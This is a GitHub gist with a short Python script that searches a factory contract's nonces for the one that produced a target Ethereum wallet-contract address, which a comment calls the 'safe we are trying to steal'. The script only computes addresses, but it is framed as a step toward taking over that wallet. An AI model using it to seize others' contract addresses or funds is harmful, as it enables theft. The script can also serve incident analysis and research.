-
-
Save banteg/a2b4e5fafe51a6b1ef6c54afa773348a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from brownie import * | |
from eth_utils import to_canonical_address, to_checksum_address | |
from eth._utils.address import generate_contract_address | |
def main(): | |
# master copy and data have no effect on address, you can replace them with anything | |
master_copy = '0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F' | |
data = '0xb63e800d0000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000d5d82b6addc9027b22dca772aa68d5d74cdbdf440000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007000000000000000000000000f0d05692d1ef6ff5769bdd9d9886381c10283c5400000000000000000000000092ecff3467729b5ee09f946a12a0cbdd7c83a506000000000000000000000000b4752144329bb54f3bd54c951784e6e5574474430000000000000000000000009d66e33b05d98f91265bd8c2ef0915de8f0ac500000000000000000000000000e5e020eaa61203df532112c88c238f7b9abcabe20000000000000000000000009427586421a768290bdbf57312cd674ceb3b8a920000000000000000000000004b3f1048c55faa0c0873e249e541139360501f2a0000000000000000000000000000000000000000000000000000000000000000' | |
# factory nonce is relevant | |
factory = '0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B' | |
max_nonce = web3.eth.get_transaction_count(factory) | |
# safe we are trying to steal | |
target = '0x4f3a120E72C76c22ae802D129F599BFDbc31cb81' | |
for nonce in range(max_nonce): | |
safe = generate_contract_address(to_canonical_address(factory), nonce) | |
safe = to_checksum_address(safe) | |
if safe == target: | |
print(nonce, safe) | |
break |
I cannot find generate_contract_address in my packages. Which version do you use?
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
outputs